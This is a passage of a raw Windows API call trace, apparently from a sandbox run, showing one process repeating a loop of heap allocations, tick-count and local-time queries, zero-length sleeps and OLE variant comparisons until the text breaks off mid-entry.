[0180.181] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.181] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.181] GetTickCount () returned 0x115db52 [0180.181] GetTickCount () returned 0x115db52 [0180.181] GetTickCount () returned 0x115db52 [0180.181] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.181] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.181] GetTickCount () returned 0x115db52 [0180.181] IsWindowVisible (hWnd=0x30268) returned 0 [0180.181] IsWindowVisible (hWnd=0x40298) returned 0 [0180.181] Sleep (dwMilliseconds=0x0) [0180.181] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.181] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.181] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.181] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.181] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.182] GetCurrentProcessId () returned 0x9e0 [0180.182] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.182] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.182] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.182] GetTickCount () returned 0x115db52 [0180.182] GetTickCount () returned 0x115db52 [0180.182] GetTickCount () returned 0x115db52 [0180.182] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.182] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.182] GetTickCount () returned 0x115db52 [0180.182] IsWindowVisible (hWnd=0x30268) returned 0 [0180.182] IsWindowVisible (hWnd=0x40298) returned 0 [0180.182] Sleep (dwMilliseconds=0x0) [0180.182] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.182] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.182] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.182] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.182] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.183] GetCurrentProcessId () returned 0x9e0 [0180.183] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.183] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.183] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.183] GetTickCount () returned 0x115db52 [0180.183] GetTickCount () returned 0x115db52 [0180.183] GetTickCount () returned 0x115db52 [0180.183] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.183] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.183] GetTickCount () returned 0x115db52 [0180.183] IsWindowVisible (hWnd=0x30268) returned 0 [0180.183] IsWindowVisible (hWnd=0x40298) returned 0 [0180.183] Sleep (dwMilliseconds=0x0) [0180.183] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.183] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.183] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.183] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.183] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.183] GetCurrentProcessId () returned 0x9e0 [0180.183] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.184] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.184] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.184] GetTickCount () returned 0x115db52 [0180.184] GetTickCount () returned 0x115db52 [0180.184] GetTickCount () returned 0x115db52 [0180.184] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.184] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.184] GetTickCount () returned 0x115db52 [0180.184] IsWindowVisible (hWnd=0x30268) returned 0 [0180.184] IsWindowVisible (hWnd=0x40298) returned 0 [0180.184] Sleep (dwMilliseconds=0x0) [0180.184] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.184] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.184] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.184] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.184] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.184] GetCurrentProcessId () returned 0x9e0 [0180.184] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.184] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.185] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.185] GetTickCount () returned 0x115db52 [0180.185] GetTickCount () returned 0x115db52 [0180.185] GetTickCount () returned 0x115db52 [0180.185] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.185] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.185] GetTickCount () returned 0x115db52 [0180.185] IsWindowVisible (hWnd=0x30268) returned 0 [0180.185] IsWindowVisible (hWnd=0x40298) returned 0 [0180.185] Sleep (dwMilliseconds=0x0) [0180.185] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.185] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.185] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.185] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.185] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.185] GetCurrentProcessId () returned 0x9e0 [0180.185] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.185] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.185] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.185] GetTickCount () returned 0x115db52 [0180.185] GetTickCount () returned 0x115db52 [0180.186] GetTickCount () returned 0x115db52 [0180.186] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.186] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.186] GetTickCount () returned 0x115db52 [0180.186] IsWindowVisible (hWnd=0x30268) returned 0 [0180.186] IsWindowVisible (hWnd=0x40298) returned 0 [0180.186] Sleep (dwMilliseconds=0x0) [0180.186] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.186] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.186] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.186] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.186] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.186] GetCurrentProcessId () returned 0x9e0 [0180.186] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.186] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.187] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.187] GetTickCount () returned 0x115db52 [0180.187] GetTickCount () returned 0x115db52 [0180.187] GetTickCount () returned 0x115db52 [0180.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.187] GetTickCount () returned 0x115db52 [0180.187] IsWindowVisible (hWnd=0x30268) returned 0 [0180.187] IsWindowVisible (hWnd=0x40298) returned 0 [0180.187] Sleep (dwMilliseconds=0x0) [0180.187] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.187] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.187] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.187] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.187] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.187] GetCurrentProcessId () returned 0x9e0 [0180.187] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.187] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.187] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.187] GetTickCount () returned 0x115db52 [0180.187] GetTickCount () returned 0x115db52 [0180.188] GetTickCount () returned 0x115db52 [0180.188] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.188] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.188] GetTickCount () returned 0x115db52 [0180.188] IsWindowVisible (hWnd=0x30268) returned 0 [0180.188] IsWindowVisible (hWnd=0x40298) returned 0 [0180.188] Sleep (dwMilliseconds=0x0) [0180.188] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.188] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.188] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.188] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.188] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.188] GetCurrentProcessId () returned 0x9e0 [0180.188] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.188] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.188] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.188] GetTickCount () returned 0x115db62 [0180.188] GetTickCount () returned 0x115db62 [0180.189] GetTickCount () returned 0x115db62 [0180.189] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.189] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.189] GetTickCount () returned 0x115db62 [0180.189] IsWindowVisible (hWnd=0x30268) returned 0 [0180.189] IsWindowVisible (hWnd=0x40298) returned 0 [0180.189] Sleep (dwMilliseconds=0x0) [0180.189] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.189] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.189] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.189] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.189] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.189] GetCurrentProcessId () returned 0x9e0 [0180.189] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.190] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.191] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.191] GetTickCount () returned 0x115db62 [0180.191] GetTickCount () returned 0x115db62 [0180.191] GetTickCount () returned 0x115db62 [0180.191] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.191] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.191] GetTickCount () returned 0x115db62 [0180.191] IsWindowVisible (hWnd=0x30268) returned 0 [0180.191] IsWindowVisible (hWnd=0x40298) returned 0 [0180.191] Sleep (dwMilliseconds=0x0) [0180.193] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.193] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.193] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.193] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.193] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.194] GetCurrentProcessId () returned 0x9e0 [0180.194] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.194] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.194] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.194] GetTickCount () returned 0x115db62 [0180.194] GetTickCount () returned 0x115db62 [0180.194] GetTickCount () returned 0x115db62 [0180.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.194] GetTickCount () returned 0x115db62 [0180.194] IsWindowVisible (hWnd=0x30268) returned 0 [0180.194] IsWindowVisible (hWnd=0x40298) returned 0 [0180.194] Sleep (dwMilliseconds=0x0) [0180.194] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.194] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.194] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.194] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.195] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.195] GetCurrentProcessId () returned 0x9e0 [0180.195] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.195] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.195] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.195] GetTickCount () returned 0x115db62 [0180.195] GetTickCount () returned 0x115db62 [0180.195] GetTickCount () returned 0x115db62 [0180.195] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.195] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.195] GetTickCount () returned 0x115db62 [0180.195] IsWindowVisible (hWnd=0x30268) returned 0 [0180.195] IsWindowVisible (hWnd=0x40298) returned 0 [0180.195] Sleep (dwMilliseconds=0x0) [0180.195] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.195] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.195] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.196] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.196] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.196] GetCurrentProcessId () returned 0x9e0 [0180.196] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.196] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.196] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.196] GetTickCount () returned 0x115db62 [0180.196] GetTickCount () returned 0x115db62 [0180.196] GetTickCount () returned 0x115db62 [0180.196] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.196] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.196] GetTickCount () returned 0x115db62 [0180.196] IsWindowVisible (hWnd=0x30268) returned 0 [0180.196] IsWindowVisible (hWnd=0x40298) returned 0 [0180.196] Sleep (dwMilliseconds=0x0) [0180.196] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.196] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.196] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.197] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.197] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.197] GetCurrentProcessId () returned 0x9e0 [0180.197] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.197] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.197] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.197] GetTickCount () returned 0x115db62 [0180.197] GetTickCount () returned 0x115db62 [0180.197] GetTickCount () returned 0x115db62 [0180.197] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.197] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.197] GetTickCount () returned 0x115db62 [0180.197] IsWindowVisible (hWnd=0x30268) returned 0 [0180.197] IsWindowVisible (hWnd=0x40298) returned 0 [0180.197] Sleep (dwMilliseconds=0x0) [0180.198] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.198] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.198] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.199] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.199] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.199] GetCurrentProcessId () returned 0x9e0 [0180.199] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.199] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.199] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.199] GetTickCount () returned 0x115db62 [0180.199] GetTickCount () returned 0x115db62 [0180.199] GetTickCount () returned 0x115db62 [0180.199] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.199] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.199] GetTickCount () returned 0x115db62 [0180.199] IsWindowVisible (hWnd=0x30268) returned 0 [0180.199] IsWindowVisible (hWnd=0x40298) returned 0 [0180.199] Sleep (dwMilliseconds=0x0) [0180.199] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.199] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.200] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.200] VarSub (in: 